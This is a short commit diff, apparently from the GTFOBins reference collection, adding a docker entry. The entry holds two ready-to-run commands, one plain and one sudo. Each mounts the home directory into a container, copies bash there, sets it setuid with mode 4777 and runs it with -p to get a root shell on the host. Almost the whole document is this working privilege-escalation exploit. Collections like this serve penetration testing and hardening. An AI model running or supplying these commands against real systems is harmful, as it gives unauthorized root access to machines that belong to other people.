add new ways
This commit is contained in:
7
_gtfobins/docker.md
Normal file
7
_gtfobins/docker.md
Normal file
@@ -0,0 +1,7 @@
|
||||
---
|
||||
functions:
|
||||
execute-interactive:
|
||||
- code: docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p
|
||||
sudo-enabled:
|
||||
- code: sudo docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p
|
||||
---
|
||||
Reference in New Issue
Block a user